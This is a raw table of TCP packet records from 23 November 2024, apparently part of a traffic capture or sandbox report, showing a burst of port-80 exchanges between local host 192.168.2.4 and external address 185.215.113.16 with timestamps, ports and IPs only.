Nov 23, 2024 17:44:48.539103985 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.539154053 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.539992094 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.540038109 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.540080070 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.540117025 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.540980101 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.541024923 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.541076899 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.541124105 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.541940928 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.542001963 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.542042971 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.542088032 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.542968035 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.543018103 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.543060064 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.543098927 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.543972969 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.544013023 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.544034958 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.544073105 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.544919014 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.544964075 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.545027018 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.545066118 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.545906067 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.545973063 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.546014071 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.546051025 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.546905994 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.546951056 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.546999931 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.547255039 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.547878981 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.547933102 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.547981024 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.548018932 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.548871994 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.548929930 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.548974991 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.549015999 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.549887896 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.549936056 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.549968958 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.550007105 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.550928116 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.550971985 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.550992966 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.551008940 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.552099943 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.552139997 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.552177906 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.552212000 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.552881956 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.552920103 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.553037882 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.553072929 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.554042101 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.554095984 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.554161072 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.554195881 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.554946899 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.554974079 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.554996014 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.555021048 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.555790901 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.555833101 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.555883884 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.555921078 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.556818008 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.556875944 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.556911945 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.556952953 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.557764053 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.557816982 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.557884932 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.557919025 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.558760881 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.558816910 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.558845043 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.558883905 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.559751034 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.559797049 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.559896946 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.559940100 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.560729027 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.560765028 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.560837030 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.560874939 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.561706066 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.561757088 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.561831951 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.561867952 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.562688112 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.562726021 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.562813044 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.562849045 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.563700914 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.563738108 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.563803911 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.563838959 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.564667940 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.564704895 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.564774036 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.564812899 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.565654039 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.565701008 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.565773010 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.565810919 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.566639900 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.566674948 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.566756010 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.566797018 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.567614079 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.567652941 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.732084990 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.732192039 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.732276917 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.732330084 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.732551098 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.732628107 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.732744932 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.732796907 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.732954025 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.733002901 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.733781099 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.733834028 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.733869076 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.733913898 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.734731913 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.734781981 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.745239019 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.745326996 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.745337009 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.745398998 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.745727062 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.745785952 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.745839119 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.745884895 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.746721983 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.746769905 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.746936083 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.746984005 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.747687101 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.747739077 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.747944117 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.747992039 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.748722076 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.748771906 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.748902082 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.748950958 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.749674082 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.749731064 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.749887943 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.749937057 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.750718117 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.750869989 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.750991106 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.751036882 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.751674891 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.751727104 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.751955032 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.751996040 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.752635002 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.752684116 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.752760887 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.752805948 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.753638983 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.753686905 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.753798962 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.753848076 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.754708052 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.754756927 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.754792929 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.754834890 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.755604029 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.755654097 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.755705118 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.755748987 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.756576061 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.756624937 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.756680965 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.756722927 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.757570982 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.757620096 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.757695913 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.757742882 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.758590937 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.758645058 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.758793116 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.758840084 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.759557009 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.759608984 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.759660006 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.759701967 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.760533094 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.760581017 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.760632038 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.760677099 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.761567116 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.761646986 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.761651993 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.761687040 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.762500048 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.762550116 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.762613058 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.762684107 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.763506889 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.763552904 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.763607979 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.763674021 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.764472008 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.764517069 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.764600039 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.764645100 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.765458107 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.765506029 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.765585899 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.765630007 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.766458035 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.766505003 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.766590118 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.766634941 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.767503023 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.767549038 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.767596006 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.767637014 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.768440008 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.768485069 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.768557072 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.768604994 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.769424915 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.769471884 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.769510984 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.769556999 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.770447969 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.770495892 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.770591021 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.770637035 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.771404982 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.771455050 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.771548033 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.771595001 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.772515059 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.772600889 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.772717953 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.772766113 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.773395061 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.773443937 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.773565054 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.773612022 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.774410009 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.774456024 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.774784088 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.774831057 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.775551081 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.775598049 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.775696993 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.775741100 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.776396036 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.776443958 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.776592016 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.776638985 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.777378082 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.777430058 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.777462959 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.777507067 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.778337955 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.778398037 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.778441906 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.778482914 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.779357910 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.779403925 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.779447079 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.779491901 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.780281067 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.780328035 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.780411005 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.780457973 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.781301975 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.781348944 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.781440973 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.781482935 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.782289028 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.782335043 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.782398939 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.782443047 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.783376932 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.783451080 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.783452988 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.783492088 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.784344912 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.784390926 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.784431934 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.784477949 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.785305977 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.785348892 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.785388947 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.785432100 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.786237001 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.786284924 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.786336899 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.786381960 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.787216902 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.787264109 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.787341118 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.787389040 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.788176060 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.788223028 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.788280010 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.788328886 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.789163113 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.789211988 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.789263964 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.789308071 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.790416002 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.790463924 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.790553093 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.790599108 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.791521072 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.791544914 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.791568995 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.791588068 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.792135000 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.792184114 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.792244911 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.792294979 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.793164968 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.793210983 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.793226004 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.793267012 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.966079950 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.966166019 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.966239929 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.966564894 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.966712952 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.966753006 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.967593908 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.967721939 CET	80	49756	185.215.113.16	192.168.2.4
